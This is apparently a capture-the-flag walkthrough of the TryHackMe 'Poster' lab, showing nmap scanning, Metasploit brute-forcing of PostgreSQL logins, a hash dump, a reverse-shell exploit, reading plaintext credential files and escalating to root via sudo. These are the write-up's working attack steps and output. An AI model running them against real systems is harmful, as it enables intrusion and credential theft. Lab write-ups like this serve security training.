Poster

Date: 16, June, 2021

Author: Dhilip Sanjay S

Click Here to go to the TryHackMe room.

Introduction

Depending on the EF Codd relational model, an RDBMS allows users to build, update, manage, and interact with a relational database, which stores data as a table.
Relational database can handle a wide range of data formats and process queries efficiently.
Most commercially available RDBMSs currently use Structured Query Language (SQL) to access the database.
RDBMS structures are most commonly used to perform CRUD operations (create, read, update, and delete), which are critical to support consistent data management.

Enumeration

Nmap Scan

$ nmap -sC -sV 10.10.181.37 -p- -oN nmap.out
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-16 14:54 IST
Nmap scan report for 10.10.181.37
Host is up (0.15s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 71:ed:48:af:29:9e:30:c1:b6:1d:ff:b0:24:cc:6d:cb (RSA)
|   256 eb:3a:a3:4e:6f:10:00:ab:ef:fc:c5:2b:0e:db:40:57 (ECDSA)
|_  256 3e:41:42:35:38:05:d3:92:eb:49:39:c6:e3:ee:78:de (ED25519)
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Poster CMS
5432/tcp open  postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.21
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-07-29T00:54:25
|_Not valid after:  2030-07-27T00:54:25
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 619.08 seconds

What is the rdbms installed on the server?

Answer: postgresql

What port is the rdbms running on?

Answer: 5432

Metasploit

Metasploit contains a variety of modules that can be used to enumerate in multiple rdbms, making it easy to gather valuable information.

After starting Metasploit, search for an associated auxiliary module that allows us to enumerate user credentials. What is the full path of the modules (starting with auxiliary)?

Answer: auxiliary/scanner/postgres/postgres_login
Steps to Reproduce: Search for Postgres

What are the credentials you found?

Answer: postgres:password
Steps to Reproduce:

msf6 > use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(scanner/postgres/postgres_login) > options

Module options (auxiliary/scanner/postgres/postgres_login):

   Name              Current Setting                          Required  Description
   ----              ---------------                          --------  -----------
   BLANK_PASSWORDS   false                                    no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                        yes       How fast to bruteforce, from 0 to 5
   DATABASE          template1                                yes       The database to authenticate against
   DB_ALL_CREDS      false                                    no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                    no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                    no        Add all users in the current database to the list
   PASSWORD                                                   no        A specific password to authenticate with
   PASS_FILE         /usr/share/metasploit-framework/data/wo  no        File containing passwords, one per line
                     rdlists/postgres_default_pass.txt
   Proxies                                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RETURN_ROWSET     true                                     no        Set to true to see query result sets
   RHOSTS                                                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'f
                                                                        ile:<path>'
   RPORT             5432                                     yes       The target port
   STOP_ON_SUCCESS   false                                    yes       Stop guessing when a credential works for a host
   THREADS           1                                        yes       The number of concurrent threads (max one per host)
   USERNAME                                                   no        A specific username to authenticate as
   USERPASS_FILE     /usr/share/metasploit-framework/data/wo  no        File containing (space-separated) users and passwords, one pair per lin
                     rdlists/postgres_default_userpass.txt              e
   USER_AS_PASS      false                                    no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wo  no        File containing users, one per line
                     rdlists/postgres_default_user.txt
   VERBOSE           true                                     yes       Whether to print output for all attempts

msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 10.10.181.37
RHOSTS => 10.10.181.37
msf6 auxiliary(scanner/postgres/postgres_login) > exploit

[-] 10.10.181.37:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: postgres:postgres@template1 (Incorrect: Invalid username or password)
[+] 10.10.181.37:5432 - Login Successful: postgres:password@template1
[-] 10.10.181.37:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.181.37:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

What is the full path of the module that allows you to execute commands with the proper user credentials (starting with auxiliary)?

Answer: auxiliary/admin/postgres/postgres_sql
Steps to Reproduce: Search for Postgres

Based on the results of #6, what is the rdbms version installed on the server?

Answer: 9.5.21
Steps to Reproduce:

msf6 > use auxiliary/scanner/postgres/postgres_version
msf6 auxiliary(scanner/postgres/postgres_version) > options

Module options (auxiliary/scanner/postgres/postgres_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5432             yes       The target port
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose output


msf6 auxiliary(scanner/postgres/postgres_version) > set RHOSTS 10.10.181.37
RHOSTS => 10.10.181.37

msf6 auxiliary(scanner/postgres/postgres_version) > set PASSWORD password
PASSWORD => password

msf6 auxiliary(scanner/postgres/postgres_version) > exploit

[*] 10.10.181.37:5432 Postgres - Version PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

What is the full path of the module that allows for dumping user hashes (starting with auxiliary)?

Answer: auxiliary/scanner/postgres/postgres_hashdump
Steps to Reproduce: Search for postgres

How many user hashes does the module dump?

Answer: 6
Steps to Reproduce:

msf6  > use auxiliary/scanner/postgres/postgres_hashdump
msf6 auxiliary(scanner/postgres/postgres_hashdump) > options

Module options (auxiliary/scanner/postgres/postgres_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  postgres         yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5432             yes       The target port
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME  postgres         yes       The username to authenticate as

msf6 auxiliary(scanner/postgres/postgres_hashdump) > set RHOSTS 10.10.181.37
RHOSTS => 10.10.181.37

msf6 auxiliary(scanner/postgres/postgres_hashdump) > set PASSWORD password
PASSWORD => password

msf6 auxiliary(scanner/postgres/postgres_hashdump) > exploit

[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

 Username   Hash
 --------   ----
 darkstart  md58842b99375db43e9fdf238753623a27d
 poster     md578fb805c7412ae597b399844a54cce0a
 postgres   md532e12f215ba27cb750c9e093ce4b5127
 sistemas   md5f7dbc0d5a06653e74da6b1af9290ee2b
 ti         md57af9ac4c593e9e4f275576e13f935579
 tryhackme  md503aab1165001c8f8ccae31a8824efddc

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

What is the full path of the module (starting with auxiliary) that allows an authenticated user to view files of their choosing on the server?

Answer: auxiliary/admin/postgres/postgres_readfile

What is the full path of the module that allows arbitrary command execution with the proper user credentials (starting with exploit)?

Answer: exploit/multi/postgres/postgres_copy_from_program_cmd_exec

Initial Access

msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > options

Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   DATABASE           template1        yes       The database to authenticate against
   DUMP_TABLE_OUTPUT  false            no        select payload command output from table (For Debugging)
   PASSWORD           postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                              yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT              5432             yes       The target port (TCP)
   TABLENAME          YL9S0cxgNdR      yes       A table name that does not exist (To avoid deletion)
   USERNAME           postgres         yes       The username to authenticate as


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 10.10.181.37
RHOSTS => 10.10.181.37
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST tun0
LHOST => 10.17.7.91
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set PASSWORD password
PASSWORD => password
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit

[*] Started reverse TCP handler on 10.17.7.91:4444 
[*] 10.10.181.37:5432 - 10.10.181.37:5432 - PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit
[*] 10.10.181.37:5432 - Exploiting...
[+] 10.10.181.37:5432 - 10.10.181.37:5432 - YL9S0cxgNdR dropped successfully
[+] 10.10.181.37:5432 - 10.10.181.37:5432 - YL9S0cxgNdR created successfully
[+] 10.10.181.37:5432 - 10.10.181.37:5432 - YL9S0cxgNdR copied successfully(valid syntax/command)
[+] 10.10.181.37:5432 - 10.10.181.37:5432 - YL9S0cxgNdR dropped successfully(Cleaned)
[*] 10.10.181.37:5432 - Exploit Succeeded
[*] Command shell session 1 opened (10.17.7.91:4444 -> 10.10.181.37:52460) at 2021-06-16 15:24:01 +0530

ls -la /home
total 16
drwxr-xr-x  4 root   root   4096 Jul 28  2020 .
drwxr-xr-x 22 root   root   4096 Jul 28  2020 ..
drwxr-xr-x  4 alison alison 4096 Jul 28  2020 alison
drwxr-xr-x  2 dark   dark   4096 Jul 28  2020 dark

ls -la /home/dark
total 28
drwxr-xr-x 2 dark dark 4096 Jul 28  2020 .
drwxr-xr-x 4 root root 4096 Jul 28  2020 ..
-rw------- 1 dark dark   26 Jul 28  2020 .bash_history
-rw-r--r-- 1 dark dark  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 dark dark 3771 Aug 31  2015 .bashrc
-rwxrwxrwx 1 dark dark   24 Jul 28  2020 credentials.txt
-rw-r--r-- 1 dark dark  655 May 16  2017 .profile

cat /home/dark/credentials.txt
dark:REDACTED

Dark User

ssh [email protected]
[email protected]'s password: 
Last login: Wed Jun 16 03:15:14 2021 from 10.17.7.91
$ ls
credentials.txt
$ whoami
dark
$ cd /home
$ ls
alison  dark
$ cd alison
$ ls 
user.txt
$ cat user.txt  
cat: user.txt: Permission denied

To read the user.txt, we need have access as alison
By searching through the file system, find a configuration file:

$ cd /var/www/html
$ ls
config.php  poster
$ cat config.php
<?php 

        $dbhost = "127.0.0.1";
        $dbuname = "alison";
        $dbpass = "REDACTED";
        $dbname = "mysudopassword";
?>

Alison user

Switch to alison to get access to user.txt

$ su alison
Password: 
alison@ubuntu:~$ whoami
alison
alison@ubuntu:~$ ls
user.txt
alison@ubuntu:~$ cat user.txt
REDACTED

Privilege Escalation

Alison can run any command as any user!
So switch to root user and read root.txt:

alison@ubuntu:~$ sudo -l
[sudo] password for alison: 
Matching Defaults entries for alison on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alison may run the following commands on ubuntu:
    (ALL : ALL) ALL

alison@ubuntu:~$ sudo su
root@ubuntu:~/home/alison# whoami
root
root@ubuntu:/home/alison# cd /root
root@ubuntu:~# ls
root.txt
root@ubuntu:~# cat root.txt 
REDACTED

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Last updated 2 years ago

hashtagIntroduction

hashtagEnumeration

hashtagNmap Scan

hashtagWhat is the rdbms installed on the server?

hashtagWhat port is the rdbms running on?

hashtagMetasploit

hashtagAfter starting Metasploit, search for an associated auxiliary module that allows us to enumerate user credentials. What is the full path of the modules (starting with auxiliary)?

hashtagWhat are the credentials you found?

hashtagWhat is the full path of the module that allows you to execute commands with the proper user credentials (starting with auxiliary)?

hashtagBased on the results of #6, what is the rdbms version installed on the server?

hashtagWhat is the full path of the module that allows for dumping user hashes (starting with auxiliary)?

hashtagHow many user hashes does the module dump?

hashtagWhat is the full path of the module (starting with auxiliary) that allows an authenticated user to view files of their choosing on the server?

hashtagWhat is the full path of the module that allows arbitrary command execution with the proper user credentials (starting with exploit)?

hashtagInitial Access

hashtagDark User

hashtagAlison user

hashtagPrivilege Escalation

Introduction

Enumeration

Nmap Scan

What is the rdbms installed on the server?

What port is the rdbms running on?

Metasploit

After starting Metasploit, search for an associated auxiliary module that allows us to enumerate user credentials. What is the full path of the modules (starting with auxiliary)?

What are the credentials you found?

What is the full path of the module that allows you to execute commands with the proper user credentials (starting with auxiliary)?

Based on the results of #6, what is the rdbms version installed on the server?

What is the full path of the module that allows for dumping user hashes (starting with auxiliary)?

How many user hashes does the module dump?

What is the full path of the module (starting with auxiliary) that allows an authenticated user to view files of their choosing on the server?

What is the full path of the module that allows arbitrary command execution with the proper user credentials (starting with exploit)?

Initial Access

Dark User

Alison user

Privilege Escalation